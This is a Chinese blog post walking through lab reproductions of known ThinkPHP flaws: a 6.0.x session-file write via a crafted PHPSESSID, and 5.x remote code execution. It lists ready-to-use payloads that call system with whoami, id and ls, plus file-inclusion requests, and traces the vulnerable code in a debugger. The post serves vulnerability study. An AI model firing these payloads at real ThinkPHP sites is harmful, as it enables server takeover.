follow my dream

THINKPHP 漏洞复现

字数统计: 2.9k阅读时长: 13 min
2021/03/14 Share

环境搭建与基础知识

参考链接

GitHub - Mochazz/ThinkPHP-Vuln: 关于ThinkPHP框架的历史漏洞分析集合

环境搭建

Win20h 、PHP 7.4.3 、VScode

PHPSTORM xdebug 配置一直失败,give up

而VScode(WSL)又不能查上下文,😑😶😡

  • Composer

个人感觉比较方便,不用去官网找

1
2
3
4
composer config -g repo.packgist composer https://mirrors.aliyun.com/composer
composer create-project topthink/think=6.0.* tp6
# tophink/think= 加 版本号
# tp6 指项目目录,没有会自动创建

基础知识

天哪,thinkphp的设计的好优秀,膜

ThinkPHP5.0完全开发手册 · 看云 (kancloud.cn)

ThinkPHP6.0完全开发手册 · 看云 (kancloud.cn)

任意文件操作漏洞

thinkphp6

ThinkPHP6任意文件操作漏洞分析 (qq.com)

Thinkphp6.0任意文件写入漏洞复现 - 先知社区 (aliyun.com)

影响版本

ThinkPHP6.0.0-6.0.1

漏洞环境

1
composer create-project topthink/think tp60

tp60/composer.json 文件的 “topthink/framework”: “^6.0.*“, 改成 6.0.0 版本,并执行如下命令。

1
composer update

Debug配置

建议不要php run ./think --host=localhost --port=8000

好像这样的话,PHPSTORM无法debug

当前环境为phpstudy+phpstorm

xdebug由phpstudy下载,同时修改配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.4.3nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=On
xdebug.auto_trace=On
xdebug.profiler_enable_trigger = Off
xdebug.trace_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.4.3nts.xdebug.trace
xdebug.profiler_enable=On
xdebug.profiler_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.4.3nts.xdebug.profiler
xdebug.remote_enable=On
xdebug.remote_host=localhost
xdebug.idekey="PHPSTORM"
xdebug.remote_port=9000
xdebug.remote_handler=dbgp

添加服务器

image-20210223131526399

DBGp 代理

image-20210223131548801

配置成功

image-20210223131959447

漏洞复现

修改app/controller/Index.php 文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
session('demo', $_GET['c']);
return 'ThinkPHP V6.0.0';
}

public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}

修改 app/middleware.php 文件如下(开启Session功能,可参考: https://www.kancloud.cn/manual/thinkphp6_0/1037635

1
2
3
4
5
6
7
8
9
10
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];

写入文件

1
2
3
4
5
6
7
8
9
10
GET /?c=aaaa<?php+phpinfo();+?> HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=../../../../public/aaaaaaaaa.php
Upgrade-Insecure-Requests: 1

注意len(PHPSESSID)要等于32位

image-20210223094208017

访问http://127.0.0.1:8000/aaaaaaaaa.php

image-20210223094223116

漏洞分析

首先,查看session_save

位于vendor/topthink/framework/src/think/session/Store.php

image-20210223132913970

save函数处,write为写入文件

单步调试,进入vendor/topthink/framework/src/think/session/driver/File.php

image-20210223133027613

writeFile处步入

image-20210223134523855

可以观察到最终执行为file_put_contents($path, $content, LOCK_EX);,$path$sessionId控制,$content=$sessData=$data

而一开始的$this->handler->write($sessionId, $data)接受两个参数$sessionId, $data

$data为session序列化后的内容,可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
session('demo', $_GET['c']);
return 'ThinkPHP V6.0.0';
}

public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}

$sessionId则为

image-20210223135033653

断点步入getId(),vendor\topthink\framework\src\think\session\Store.php

image-20210223135236714

$this->idsetId初始化

image-20210223135430345

由此可见,当len(PHPSESSID) == 32PHPSESSID,反之md5(microtime(true) . session_create_id())

**任意代码执行漏洞 **

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞

参考链接:

ThinkPHP5漏洞分析之代码执行(十) | Mochazz’s blog

Thinkphp5 远程代码执行漏洞事件分析报告 (seebug.org)

Thinkphp5 RCE总结 | Y4er的博客

影响版本

  • ThinkPHP 5.0.5-5.0.22
  • ThinkPHP 5.1.0-5.1.30

payload

因为漏洞触发点和版本的不同,导致payload分为多种,其中一些payload需要取决于debug选项 比如直接访问路由触发的

5.1.x :

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

1
2
3
4
5
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

还有一种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

可以看到payload分为两种类型,一种是因为Request类的method__construct方法造成的,另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验,我们下面分两种来讲,然后会将thinkphp5的每个小版本都测试下找下可用的payload。

ThinkPHP 5.0.5-5.0.22

环境搭建

http://www.thinkphp.cn/download/1015.html

个人选择的版本是5.0.10

也可以使用composer create-project topthink/think=5.0.10 tp5010 --prefer-dist,但需要修改composer.json和composer update

漏洞复现

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /public/index.php?s=index
s=whoami&_method=__construct&method=&filter[]=system


post /public/index.php?s=index
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
http://192.168.1.5/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami


...

image-20210223151156981

漏洞分析

通过查看手册可以得知tp5支持多种路由定义方式:路由地址 · ThinkPHP5.0完全开发手册 · 看云 (kancloud.cn)

路由地址表示定义的路由表达式最终需要路由到的地址以及一些需要的额外参数,支持下面5种方式定义:

定义方式 定义格式
方式1:路由到模块/控制器 ‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’
方式2:路由到重定向地址 ‘外部地址’(默认301重定向) 或者 [‘外部地址’,’重定向代码’]
方式3:路由到控制器的方法 ‘@[模块/控制器/]操作’
方式4:路由到类的方法 ‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’
方式5:路由到闭包函数 闭包函数定义(支持参数传入)

这里值得注意的地方有两个,一个是路由定义方式4,tp5可以将请求路由到指定类的指定方法(必须是public方法)中;另一个是即使没有定义路由,tp5默认会按照方式1对URL进行解析调度。

测试的payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /public/index.php?s=index HTTP/1.1
Host: 192.168.1.5
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74
Origin: http://192.168.1.5
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.5/public/index.php?s=index
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8
Connection: close

s=whoami&_method=__construct&method=&filter%5B%5D=system

thinkphp5 的一开始的加载顺序如下:

image-20210223173352242

在app.php中,$dispatch = self::routeCheck($request, $config);为路由检查

image-20210223173447869

具体的代码实现:image-20210223162310793

由于没有在配置文件定义任何路由,所以默认按照方式1解析调度。如果开启强制路由模式,会直接抛出错误。根据$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);进入

1
thinkphp/library/think/Route.php

image-20210223163627195

可以看到tp5在解析URL的时候只是将URL按分割符分割,并没有进行安全检测。继续往后跟,我们回到App.run().

self::exec()为路由表达式的具体实现

image-20210223173631154

具体代码大致如下:

image-20210223173906362

接着进入模块/控制器/操作,并对module进行步入,而module的功能是将result依次转为模块/控制器/操作,最后会进入invokeMethod

image-20210223174240975

invokeMethod会调用反射执行类的方法 、支持参数绑定,并进入binParams

从module开始,形式感觉有点像Java的反射

image-20210223174438088

bindParams,进行绑定参数,if判断后,进入$vars = Request::instance()->param();

image-20210223174758204

$vars = Request::instance()

image-20210223175215752

param,而param中有一个$this->input函数,且会将post参数赋值给vars数组

image-20210223175415189

之后步入input函数

image-20210223181721771

input中,先getFilter

image-20210223181807799

1
$filter = $this->filter #['system']

image-20210223181908098

再步入进去到filterValue

array_walk_recursive — 对数组中的每个成员递归地应用用户函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
><?php
>$sweet = array('a' => 'apple', 'b' => 'banana');
>$fruits = array('sweet' => $sweet, 'sour' => 'lemon');

>function test_print($item, $key)
>{
>echo "$key holds $item\n";
>}

>array_walk_recursive($fruits, 'test_print');
>?>

>a holds apple
>b holds banana
>sour holds lemon

PHP: array_walk_recursive - Manual

image-20210223175626111

image-20210223182825634

所以valuewhomai

最终call_user_func回调函数执行payload

image-20210223180020120

到这里还有一个问题,$this->filter 是什么时候发生变化的.

个人认为,这里的构造和利用链比上面的call_user_func更有意思。

首先需要关注的是$this指的是Request(thinkphp/library/think/Request.php)对象

主要部分如下:

当应用启动时,会进行URL路由检测

image-20210223190414879

路由检测(根据路由定义返回不同的URL调度)

image-20210223190437197

image-20210223190509511

Method部分最为重要。

image-20210223190529028

如图中断点处,

1
2
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

Config::get('var_method')=_method

image-20210223190711429

$_POST['_method'] = __construct

$this->{'__construct'}($_POST);调用构造函数,且$_POST为其值

image-20210223190910594

property_exists — 检查对象或类是否具有该属性

此时this->method = '',this->filter=['system'],其中method最后return(其作用应该是消除对流程的影响)。

再回到此处,可以发现method后面的作用是对$rules取值,对流程无影响

image-20210223190509511

最后放七月火师傅一张流程图

image

其他分析:

可以见y4er师傅的分析[强烈推荐]Thinkphp5 RCE总结 | Y4er的博客

y4er yyds

反序列化漏洞 [🕊鸽了]

thinkphp5

TP5.0.xRCE&5.0.24反序列化分析 - 先知社区 (aliyun.com)

ThinkPHP v5.0.x 反序列化利用链挖掘 - 安全客,安全资讯平台 (anquanke.com)

thinkphp6

ThinkPHP v6.0.x 反序列化漏洞利用 - ctrl_TT豆 - 博客园 (cnblogs.com)

[ThinkPHP V6.0.x 反序列化漏洞 | WHOAMI’s Blog (whoamianony.top)](https://whoamianony.top/2020/12/31/漏洞复现/thinkphp/ThinkPHP V6.0.x 反序列化漏洞/)

CATALOG
  1. 1. 环境搭建与基础知识
    1. 1.1. 参考链接
    2. 1.2. 环境搭建
      1. 1.2.1. 基础知识
  2. 2. 任意文件操作漏洞
    1. 2.1. thinkphp6
      1. 2.1.1. 影响版本
      2. 2.1.2. 漏洞环境
        1. 2.1.2.1. Debug配置
      3. 2.1.3. 漏洞复现
      4. 2.1.4. 漏洞分析
  3. 3. **任意代码执行漏洞 **
    1. 3.0.1. 影响版本
    2. 3.0.2. payload
  4. 3.1. ThinkPHP 5.0.5-5.0.22
    1. 3.1.1. 环境搭建
    2. 3.1.2. 漏洞复现
    3. 3.1.3. 漏洞分析
  • 4. 反序列化漏洞 [🕊鸽了]
    1. 4.1. thinkphp5
    2. 4.2. thinkphp6